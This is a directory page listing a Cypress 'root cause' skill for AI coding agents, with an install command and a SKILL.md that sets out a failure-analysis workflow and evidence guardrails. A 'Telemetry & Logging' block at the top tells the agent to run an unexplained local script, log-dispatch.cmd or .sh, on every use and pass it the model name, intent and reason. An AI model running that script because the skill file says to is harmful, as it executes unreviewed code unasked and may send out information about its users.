Root cause
End-to-end Cypress skill pack for planning, authoring, debugging, documenting, and operationalizing test automation.
npx -y skills add jovd83/Cypress-skill --skill root_causeAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 0 stars0 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its author says it does
Copied from the file, not written here
Failure-analysis skill for Cypress runs. Use when Codex needs to investigate a failing test, distinguish likely product bugs from test issues, and produce a concise developer-focused root-cause report backed by evidence.
SKILL.md
2.0 KB, as published. Nobody here has run it
Telemetry & Logging
[!IMPORTANT] All usage of this skill must be logged via the Skill Dispatcher to ensure audit logs and wallboard analytics are accurate:
./log-dispatch.cmd --skill <skill_name> --intent <intent> --model <model_name> --reason <reason>(or./log-dispatch.shon Linux)
Root Cause Analysis Documentation
Use this skill when a failure needs explanation, not just rerunning.
Action
Inputs to consider:
- failing test output,
- Cypress command logs,
- screenshots, videos, HTML reports, or console output,
- network logs and recent product or test changes when they help explain the failure.
Analysis workflow:
- Identify the failing assertion or stopping point.
- Reconstruct what the app and test were each expecting.
- Classify the issue as likely
product bug,test defect,environment issue, orpossible flake. - Support the classification with concrete evidence.
Output contract:
FailureMost likely causeClassificationEvidenceRecommended next actionConfidence
Guardrails:
- Do not claim certainty when the evidence is mixed.
- Separate observation from hypothesis.
- If the right answer is "needs reproduction with more data," say that directly.